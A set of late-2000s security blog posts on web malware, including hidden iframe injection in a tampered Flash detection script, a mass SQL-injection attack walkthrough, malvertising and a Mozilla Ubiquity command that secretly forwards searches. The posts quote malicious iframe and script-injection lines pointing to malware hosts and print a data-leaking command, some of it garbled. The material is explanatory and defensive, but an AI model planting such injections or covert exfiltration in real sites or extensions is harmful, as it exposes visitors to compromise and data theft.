Hiding web 2.0 malware in plain sight

Hello everyone, Jeff Forristal here. I thought I'd take a moment to discuss a trend we're seeing in attacker tactics, and predict how it may evolve into what will become commonplace tomorrow.

Recently we ran across a modified version of Adobe's Javascript-based Flash detection script used as part of a drive-by attack on web browsers. Basically the malware writers took the Flash Player Version Detection v1.7 script (AC_RunActiveContent.js) and tweaked it with a malicious payload. The heart of the evilness was caused simply adding one line, towards the end of the script:

document.write("<i"+"fr"+"ame
  src='http://__someplace__.com/
  pdfdoc/index.php?id=com2'
  width=1 height=1></ifr"+"am"+"e>");

This causes the script to write out an IFrame tag that pointed to a malware site which then tried to deliver exploits to the browser in an attempt to cause arbitrary code execution.

I'm willing to speculate that anyone doing a shallow/naive review of the script could prematurely conclude that the script is the proper Adobe Flash detection script and thus dismiss it as non-evil. Hopefully though many investigators would plow through the entire file and eventually see the plain-as-day extra IFrame code added, and thus see through the facade.

However, what if the IFrame code wasn’t easily visible? Javascript 'packers' (programs that transform the Javascript code into smaller, more concise code) are becoming the norm on the web for slimming down Javascript code and saving some transfer bandwidth. They work by rewriting the code and essentially obfuscate what is going on as a byproduct. This can make it much more difficult to understand what the Javascript code is doing simply by casually perusing it; a simple Javascript 'document.write' of a malicious IFrame tag may not be so glaringly obvious anymore. And unfortunately, unlike executable (.EXE) packers such as UPX, the Javascript packers are used by many web sites and projects for legitimate reasons...so the mere presence of a packed Javascript file isn't an immediate red flag of its malicious intent (i.e. alerting on packed Javascript files is going to result in a lot of false positives).

How does this help attackers? Well, even though alerting on every packed Javascript file is not recommended, packing should still at least raise the suspicion level. An attacker taking their 'evil.js' file and packing it might obfuscate what evil.js is doing, but the fact that it's a packed file of unknown function may still cause people to investigate. Instead, an attacker can extend the previously mentioned tactic of hiding a malicious payload inside a legitimate Javascript library...but this time, pick a library that is commonly distributed in packed form and widely used. For example, we see packed versions of the JQuery Javascript library quite often on many different sites. A clever attacker could take the (unpacked) jquery.js file, insert their malicious code, pack it using the same packer normally seen used with jquery.js, and then deploy it. Anyone encountering this malicious file, at first glance, may consider it to just be the usual packed jquery.js file and ignore it; any automated signatures meant to flag packed Javascript files would, on the surface, not really differentiate between the packed original version and the packed modified version. And any advanced investigation into the file by looking at the code's behavior (or 'unpacking' it via various means) will, at first, just seem to be the standard set of JQuery functionality. Only those who continue to persist past all the obvious signs that the file is a legitimate jquery.js Javascript file would perhaps encounter the maliciousness of this web 2.0 Trojan horse.

Fortunately there is a workable solution to this problem: whitelists of known-good Javascript file hashes. Since the obvious targets are widely-deployed Web 2.0 Javascript libraries (JQuery, Dojo, SWFObject, Prototype, etc.) it would be feasible to construct a whitelist of the true/safe versions of these popular library files. Of course, maintaining a whitelist is a time-consuming effort, especially with new versions of each library coming out so often. And site designers would need to be encouraged to not make any personalizations/modifications directly to these standard library files, lest they trigger the alarms. It would be interesting if such a whitelist was then utilized by browser extensions such as NoScript to know automatically which Javascript files are safe to execute...but vetting the function library is a minor part of the problem since the site still needs to use custom Javascript to access/utilize the library in the first place.

It’s a hard problem still looking for a perfect solution (like many other security problems). Until next time,

- Jeff

Stepping Through a Mass Web Attack

A few days ago, Kaspersky reported on yet another mass web attack. Such attacks are quickly becoming a preferred attack vector as they permit mass infection with minimal effort. We've seen this before, and not just once. In fact, it seems to be popular among Chinese hackers and is often used to gather authentication credentials for online games. While it hasn't yet been verified, it appears that SQL injection vulnerabilities on vulnerable servers led to the initial infection. All infected servers seem to be running Microsoft ASP pages, a common target for those seeking sites vulnerable to SQL injection.

I'm fascinated by such attacks as they illustrate the interconnected nature of the web and shatter the myth that you are safe if you stick to browsing reputable sites. Sadly, reputable sites struggle with vulnerabilities on a regular basis. The unfortunate reality is that any site, no matter how big or small, could be infected. In this latest attack, Travelocity was compromised. While vulnerable servers were infected, the true targets of these attacks are the end users which visit the sites. I've been preaching for some time now that we need to shift our focus from servers to browsers. We spend the majority of our security resources locking down servers and put minimal effort into protecting users browsing the web. Attackers have shifted their focus and we must do the same.

Attack Walk-Through

According to Kaspersky, the attack leverages multiple browser vulnerabilities and a variety of sites to host the attack scripts and malicious code. In order to better understand how these attacks succeed, let's walk through one such attack scenario which was live at the time this blog was written:

Step 1 - Server Infection

The attack begins by injecting code onto as many vulnerable web servers as possible. This is commonly accomplished via SQL injection. In this specific example, the following code was injected:

<script src="http://dbios.org/h.js">

This code won't change the appearance of the page, so a victim has no way of knowing that the so-called reputable page, is actually launching an attack on his browser. A quick Google search illustrates the mass nature of the attack and reveals that many sites are still infected.

Step 2 - Redirects

The initial JavaScript file typically doesn't contain the ultimate attack, but rather calls a variety of other scripts from different locations. This may be done in part to obfuscate the attack but is more likely done simply to accommodate multiple vulnerabilities and download sites in order to make the attack more robust and reach as many potential victims as possible. In our case, the following two IFRAMEs are added to the page:

document.write("<iframe width='20' height='0' src='http://vvexe.com/haha/index.html'></iframe>");
document.write("<iframe width='0' height='0' src='http://www.kenya.com/faq.htm'></iframe>");

Kasperky discusses that this latest round targets a variety of vulnerabilities in web browsers and Maromedia Flash Player. In our example, the exploitation is going after a vulnerability in the Snapshot Viewer for Microsoft Access ActiveX control, published on August 12, 2008 and detailed in MS08-041. One of the IFRAMEs contains code which attempts to instantiate the Snapshot Viewer ActiveX control as shown below:

try{var n;
var ll=new ActiveXObject("snpvw.Snapshot Viewer Control.1");}
catch(n){};
finally{if(n!="[object Error]"){document.write("("<iframe width=50 height=0 src=ff.htm></iframe>");}}

As can be seen, if the ActiveX control is indeed accessible, the browser then opens yet another IFRAME from http://vvexe.com/haha/ff.htm and this is where the attack actually lies. The writers of this exploit are either not particularly skilled or just lazy as they've simply leveraged an already public exploit line for line and simply changed the target download to http://ip.kanlang.com/haha/down.exe.

Step 4 - Client Infection

The down.exe executable is a Trojan, which goes by various aliases, including Infostealer.Wowcraft. The Trojan serves as a keylogger and is designed to harvest and transmit authentication credentials for World of Warcraft.

Lessons Learned

1. Surfing 'reputable sites' is not guaranteed to prevent infection.
2. A server side compromise is often the first step in a client side attack.
3. Defense in depth is critical. In this situation, the threat can be mitigated by patch management, network and host based AV and blocking malicious URLs.
   

Happy surfing!

- michael

Cloud Services for Analyzing Malware

Despite continuing promises from software vendors, malware isn't going anywhere. Analyzing malware to protect against it and repair the damage that it may have done, is a significant part of the job description for many security professionals. The sheer volume of malware can make dealing with it an overwhelming task. Fortunately, a number of free cloud-based services have emerged to aid in the task of analyzing malware.

I'll divide the analysis tools into two categories - Anti-Virus Multi-Scanners and Sandboxes. The former is nothing more than a collection of AV scanners designed to run together analyzing the same file and return the different results for each AV vendor. This can be a very valuable starting point. It is frustrating to spend hours or days conducting deep analysis on a new binary only to find out that AV vendors have already analyzed the same file previously. A quick run through a multi-scanner can help to let you know if you're dealing with 0day or yesterday's news. Sandboxes on the other hand are emulation environments which perform automated behavioral analysis on a binary file. They allow the binary to execute and emulate the services that it attempts to interact with. Meanwhile, they are recording the activity which is occurring such as file reads/writes, registry access and network traffic.

AV Multi-Scanners

Building your own multi-scanner isn't a terribly difficult or expensive challenge. You need to obtain AV SDKs or command line tools from various vendors, develop a wrapper/front-end to simultaneously submit the same malicious code samples to all at the same time and parse/combine the results into a meaningful report. While it may be valuable to put in the effort if you expect to feed a heavy and regular volume of binaries into the multi-scanner, say for a honeypot network, there are free online alternatives if you're looking for only occasional analysis. Below is a chart comparing the functionality of a couple of popular (and free) multi-scanners.

	VirusTotal	VirScan.org
No. of Engines	34	39
Zip support	No	Yes
Web Submissions	Yes	Yes
Email Submissions	Yes	No
SSL Support	Yes	No

Sandboxes

Sandboxes automate the process of behavioral analysis. They permit a binary to execute in a controlled environment and monitor the activity which occurs. Given that we're dealing with malicious code, the binaries will generally attempt to spread, often by scanning for vulnerable hosts. Rather than actually permit malware to spread externally, sandboxes can simulate network responses to allow the binary to continue executing without actually permitting third party infection. If a steady volume of analysis is required you'll want to consider commercial products such as those offered by Norman and Sunbelt Software, however, such solutions can be expensive. If you only require periodic analysis, both vendors offer free web based access to their platforms. Anubis, by contrast, is purely a free web based service and does not have a commercial product offering. The chart below compares the functionality of these three cloud based sandboxes:

	Anubis	Norman Sandbox	CWSandbox
URL Analysis	Yes	No	No
Zip Support	Yes	No	No
SSL Support	Yes	No	No
Email Results	Yes	Yes	Yes
Dependent Binaries	Yes	No	No

As can be seen, for an entirely free service, Anubis has an impressive feature set. They even encourage the automated of binaries for analysis so the platform can even be integrated into a honeypot network.

It's great to see free resources emerging for malware analysis. As mentioned, these free services won't meet everyone's needs, but if you're tasked with securing a network and only occasionally need analysis capabilities, these sites can significantly streamline your efforts.

- michael

Trust two times removed

Hello everyone, Jeff Forristal here. I thought I'd take a moment to discuss a real-life security incident that I recently reviewed in post-mortem fashion. The plot is simple: while the person was surfing the web, their browser was exploited by a piece of malware targeting a popular browser plugin. However, it's the details that make this story a bit intriguing...and scary.

The person's surfing session was quite normal and not particularly careless. During the moments just before the incident, the person was using Google to find an answer to a technical question. One of the top search results was for a smaller site that hosted technical tidbits of information collected and donated from various information sources. The person clicked through to that site. Now, this site is not a site that would be considered to have a 'risky' reputation, nor does it harbor any direct malware. It's just a normal, basic site that looks to be someone's personal project (site was designed in FrontPage 6.0!) to better the world by collecting and publishing useful information. In fact, the only thing questionable about it is the number of syndicated ads on the page: 7, by our count, from multiple vendors (BidVertiser, Google, Clicksor, and FastClick). Of course, it makes sense that they would (over-)populate their page(s) with ads in an attempt to generate revenue from their content publishing efforts. But this turned out to be the problem.

See, once the person's browser landed on this ad-infested page, the browser started running around like mad to fetch all the syndicated ad content. Each ad syndication attempt usually results in multiple browser requests because the main requests to the ad syndicator often results in a chain of redirects eventually landing at the specific content of the "advertisee" utilizing the syndication service. As the term 'syndication' implies, the ad services are just the middle-man between the web site and the advertisee. And the website is just the middle-man between the ad service and the web surfer.

Anyways, what eventually happened is that one of the ad syndicators served up an advertisee's ad...and it just so happened that the ad was actually a piece of malware that could immediately compromise the vulnerable browser plugin. This is not necessarily new news; attackers have been known for quite a while to leverage advertising syndication as a way to spread their malware. But it's a bit scary to witness in action, and the growing amount of advertising syndication utilized by web sites is going to make it a more predominant malware delivery vector. The problem is exacerbated by the fact that the ads are no longer simple graphics; advertising syndicators usually allow their clients (the advertisees) to specify arbitrary HTML. This gives the advertisee cart blanche to use rich media ads that rely on multiple technologies such as DHTML, Javascript, Flash, etc. But this also gives an attacker full access to syndicate any arbitrary piece of malware that could be hosted/served via a normal web page. (Side note: maybe Google is onto something by only using pure text-based ads; the text is very easy to validate and stands practically no chance of harboring a piece of malware...)

What does this all mean? Well, there are a few things. First, all of those vendors who suggest an exploit is partially mitigated by the requirement that a "user must visit a malicious web page in order to be attacked" need to change their tune, because advertising syndication is essentially bringing the malicious web pages (via rich media ad capabilities) to the user. Second, the onus is on the advertising syndication services to ensure their clients aren't trying to deliver malware ads through the service. That's a tall order, and the ad vendors have not exactly been batting 1000. Third, in the age of mashups and syndication, we no longer have a situation where a user has to only decide whether they trust the destination web site or not; they must now trust all the components that are mashed and syndicated into that site, and in turn trust all the components those components use, etc. In the incident I just talked about, we have the person trusting the web site, the web site trusting the advertising services, and the advertising services trusting their clients. Thus we come to having trust two times removed. Worse, web browser do not equip people with the necessary tools to really help them manage this trust chain effectively; it's pretty much an all-or-nothing shot based upon the user's trust of the immediate target web site. In the meantime, maybe browser plugins like AdBlockPlus and NoScript could help, although that essentially robs legitimate sites of advertising revenue. However, if enough users start to use ad blocking software as a matter of security, perhaps the advertising services will become pickier about their clientele and better scrutinize what they are actually syndicating.

Only time will tell, I suppose.
- Jeff

ps. if you are interested in which advertising vendor was the 'enabler' for the mentioned incident, well, we can not say with 100% certainity. But there does seem to be a popular opinion against one of the vendors.

First encounters with a web comment spammer

Jeff Forristal here. I run a couple of personal web sites that host the usual gamut of material found on personal web sites (pictures of my kids and family, my latest favorite LOLcat graphic, etc.). Recently I updated one of my sites and added a new comment/contact submission form so I wouldn’t have to expose my email address for spam harvesters to find. A mere few hours after enabling this new comment submission form on my web server, I started to get some comments; unfortunately they were all comment spam.

Of course, web comment spamming has become yet another fact of life on the Internet. Blogs and forums with unmoderated/open comment submission functionality are quickly getting clogged with random and off-topic spam. Basically the spammers are taking the content they would normally send you in email, and now posting it to web site forums and blogs too. This is why comment moderation and CAPTCHAs are becoming the norm for forum and blog comment posting.

Anyways, there is nothing all that exciting about receiving spam of any variety. However the nature of the comment spam I received caught my eye. Over the course of a few weeks, I received multiple comment spams that all had the same format, but different random values.

Two examples of the comment spam I received were:

Email: cdbiib@orhabg.com
Comment:
jJsAdx <a href="http://aereogakjvpd.com/">aereogakjvpd</a>, [url=http://ubfcdpkfggto.com/]ubfcdpkfggto[/url], [link=http://wiogiusmvjcz.com/]wiogiusmvjcz[/link], http://ejmugotxbmqc.com/

Email: thowea@snkkjo.com
Comment:
fHwI3w <a href="http://uwtsayqpclib.com/">uwtsayqpclib</a>, [url=http://wetpnicpwkfd.com/]wetpnicpwkfd[/url], [link=http://bvtyjneqigek.com/]bvtyjneqigek[/link], http://prcghesjscpl.com/

We can make an educated guess that this comment submission isn’t directly about blindly shoving links onto sites in order to bolster incoming link counts (inflating PageRank ratings and aiding in SEO efforts), because all the links are random and don’t reference real sites. There is no practical value in the data itself that was submitted, except as acting as a probe to see what comes out the other side of the submission process. The data contains four different link formats (an actual HTML <A> tag, two flavors of popular bulletin board markup tags, and just a raw URL), and perhaps a fifth if you count the email address too. That makes me believe the end goal was probably to find a way to inject a clickable link of some sort. Had the action been successful, perhaps the same software would have then subsequently tried to inject more meaningful links (back to our SEO theory). Or, perhaps this was just a pre-cursor scouting application compiling a list of URLs known to allow arbitrary link injection (such lists would commonly be paired or sold with spamware/crimeware apps used to inject content onto listed sites already known to be open to receiving the injection).

Of course, being the curious individual that I am, I started to wonder:

• The app managed to put something resembling an email address into the email field. Now, sure, the form field name was ‘email’, so it wouldn’t be that hard to deduce; what would happen if I named that field something less obvious ('mail', 'eml', 'e', 'foo')?
• The links were submitted in a textarea field; will it submit the same type of data in a more constrained input text box?
• Will it try to inject content into other identifiably named fields, such as 'phone', 'address', 'url', etc.?
• Does the app support cookies? Is it a well-behaved web user agent? How smart is it?
• Can the app's injection logic handle multi-step submissions, where you submit to one page/place and the data eventually appears on a different page/place but not within the actual submission response (think: you submit a comment, you get a page that says "thank you", but then have to click one more link before you get to where your comment is actually displayed)?
• And of course, the million dollar question: what would have happened had their injection succeeded and produced a clickable link?

I’m not one to leave such important questions burning on my mind (heh), so I came up with a plan to get the answers I want. I will lay a trap for the comment spammer (or rather, their app). The idea is simple: through the magic of some server-side logic, I will detect when this comment spamming app is making submissions to my forms (assuming they come back in the future; but historically they seem to visit me on a fairly regular basis, so it seems a safe assumption). Rather than display the usual "thank you for your submission" response, I’ll instead feed a specially crafted response to make it seem like the submission actually produced a clickable link (making me look vulnerable). Further, I will then flag that session/IP as a spammer, and all subsequent requests will result in some extra forms being added to the web page responses. Those forms will be designed with certain characteristics meant to gauge the effectiveness and operation of the application and its web crawler; I’m assuming the app will repeat its typical injection testing process for as many forms as it encounters.

So if all goes accordingly to plan, I intend to post a follow-up to this aptly titled article in a few weeks. The follow-up will of course be entitled "Second encounters with a web comment spammer."

Until then!
- Jeff

Ports Are Meaningless

I read an interesting survey today commissioned by FaceTime Communications. This is their fourth such annual report and while the overall findings were unsurprising, it highlights a growing problem - how to control application use as traffic converges on ports 80 and 443. The survey found that employee use of collaborative Internet applications is on the rise and that employees use such applications for personal benefit on company time - no surprise there. This has in turn led to security, bandwidth utilization, compliance and data leakage issues. Some of the more interesting findings are below:

• 97% of employees utilize 'Internet Applications', defined as IM, P2P, streaming media, collaboration (web conferencing, blogging and social media), VoIP, anonymizers, web mail, etc.
  
• 86% use IM
• 54% use file sharing
• 69% use VoIP
• 15% use anonymizers

These statistics are important as they emphasize the increased use of applications that are often not sanctioned or monitored by internal IT, yet can significantly impact the corporate LAN. The larger the attack surface, the more vulnerable a platform becomes. Installing additional applications to a desktop system increases the likelihood that one such application will be vulnerable and open to attack, especially when these applications are not regularly patched. Moreover, such apps can represent costly bandwidth utilization and potential data leakage risk.

Why is it that the use of non-sanctioned applications is on the rise? Have internal security teams given up the fight and handed over desktop control to end users? No. The reality is that end users no longer need admin rights to utilize alternate applications. Why? Many are now web based. You don't need to install a desktop application on your machine, you only need to point your web browser to a Rich Internet Application and any of the aforementioned application categories are readily available online.

What the report did not cover, is what form this traffic takes, how it can be identified and how it can be controlled. A decade ago, network firewalls ruled the security landscape. Preventing access to a particular application/protocol was as simple as blocking a known port. Don't want employees to send files? No problem, block outbound port 21. Telnet? That's port 23. Today however, ports are meaningless. Traffic is converging on ports 80 and 443 for a simple reason - they're always accessible, on any network.

Applications are becoming 'network aware'. They may have a preference for their communication protocol but they will find a way out and their fallback plan is always the web. Take a look at applications such as Skype, Tor or virtually any modern P2P application. If you bock all other means of egress, you will find traffic being tunneled through port 80. When this occurs, ports become meaningless and sysadmins suddenly have their hands full. Today, security solutions designed to hand control back to administrators must understand the language spoken by applications in order to pick it out within the sea of legitimate web traffic. Moreover, vendors must constantly monitor and update their signatures as the traffic patterns are continually changing in order to bypass known controls. Just as we've accepted the arms race between virus writers and AV vendors, we now have an arms race between those seeking to make applications accessible to all and the enterprises seeking to control them.

- michael

Ubiquity Foreshadows Future Browser Security Challenges

When I can, I like to investigate emerging open source projects, both to satisfy my curiosity and to gain insight into security challenges to come. I recently stumbled across one such project from Mozilla Labs, known as Ubiquity. The project is described as "an experiment into connecting the Web with language". In a nutshell, it is an Firefox extension which extends browser functionality via natural language queries. When a user invokes Ubiquity via a keyboard shortcut, a text box is displayed where the user can input simple queries and the requests/responses can interact directly with the browser. Let's look at an example:

Access Ubiquity - On my Mac, by default this can be done via Alt-Space

Enter a command - I type "map 1600 Pennsylvania Avenue, Washington DC" as seen in the image to the left. Note that in addition to retrieving a map, in the lower right hand corner of the image there is an 'Insert map in page' link. Clicking on this will automagically embed an the map into an editable section of the page that you're on. This is handy, for example, for embedding maps into webmail messages.

Big deal. Google Maps has been around for years. Why should I care that a plugin has been built to make it easier to look up maps?

Why Ubiquity Changes the Security Landscape

Extensibility - Anyone can develop Ubiquity commands and it's easy to do so. Once a new command has been created, you can deploy it simply by linking to the code on a web page. The Ubiquity extension will recognize the code and prompt users to add the new command. As the Ubiquity user base grows, this certainly streamlines social engineering attacks. While such extensibility is similar to what can be done today with browser extensions, Ubiquity commands can be developed much more quickly and are just as powerful.

Interaction - The Ubiquity query window isn't just a new browser window. Commands have the ability to directly interact with your browser. For example, the built in email command, interacts with your Gmail account (assuming you're authenticated) and allows you to query email addresses from your contacts. This is certainly handy and allows for great interactive Ubiquity commands to be built, but could certainly be abused. How about a rogue Ubiquity command which unknowingly forwards your contact list to a spam bot?

Remote Updates - The authors of new commands can make changes on the fly and the next time the command is called, Ubiquity will use the updated logic. End users do have the ability to accept automatic updates when they first subscribe, but assuming they do, this provides a great Trojan Horse for a less than honest author. They could publish a useful command, wait until it's widely deployed and then change the logic. Take for example the evil-search function which I've published, the code for which is below:

CmdUtils.CreateCommand({
name: "evil-search",
description: "Searches Yahoo! (...and let's me know what you search for...)",
help: "Try issuing "evil aglet"",
icon: "http://www.yahoo.com/favicon.ico",
takes: {"word": noun_arb_text},
execute: function( directObj ) {
var word = directObj.text;
Utils.openUrlInBrowser( "http://search.yahoo.com/search?p=" + escape(word) );
Utils.ajaxGet( "http://localhost/search?p=" + escape(word) );
},
preview: function( pblock, directObj ) {
var word = directObj.text;
if (word.length < innerhtml = "Searches Yahoo! for the provided search term (...and let's me know what you search for...).">

This simple Ubiquity command integrates Yahoo! search functionality. When used, the user will be redirected to a web page displaying results for their query. However, behind the scenes, a second AJAX query is made to an attacker controlled server (left as localhost for illustrative purposes). To see this in action, subscribe to the command, run an evil-search query and check the log files on your local server. A command such as this could be used to keep tabs on searches queried by other users. This is a very simple example. With the power offered by Ubiquity, the sky's the limit. Challenges/Solutions

To be fair, this is a beta project and the team fully admits that security issues will need to be addressed. That said, at present they appear to be pursuing two paths to address the security implications.

End User Warnings - When subscribing to a new Ubiquity command, the user is presented with a big, bold warning letting them know (literally) that evil commands could do anything that they want, including steal credit card information. Warnings such as this are in my opinion, useless (I'm talkin' to you Vista). Relying on end users to determine is something is safe doesn't work as most users don't have the skills to make that determination.

Social Trust Network - The current Ubiquity warning message indicates a plan to create a Social Trust Network, whereby users will rely others to determine if a command is safe. This doesn't fix the problem, it just spreads it out. The approach still relies on users to determine if a feature is safe and given the remote update capabilities of Ubiquity commands, just because a million people agree that a command is safe today, it could be evil tomorrow. If anything, such a network could provide a false sense of security.

In my opinion, the only viable way to secure such a system is to inject a review process. Yes, this reduces the openness of the project and yes this isn't foolproof but people with security expertise and knowledge of Ubiquity need to be involved and that puts the burden squarely on the shoulders of Mozilla. I liken it to malicious Google gadgets, which Google claims to test for vulnerabilities. In a world of mashup technologies, where functionality, not just content, can be created by anyone, a central authority must take responsibility for protecting end users.

Ubiquity is a great project and I hope that it succeeds. I just hope that better security is implemented before this project goes prime time.

- michael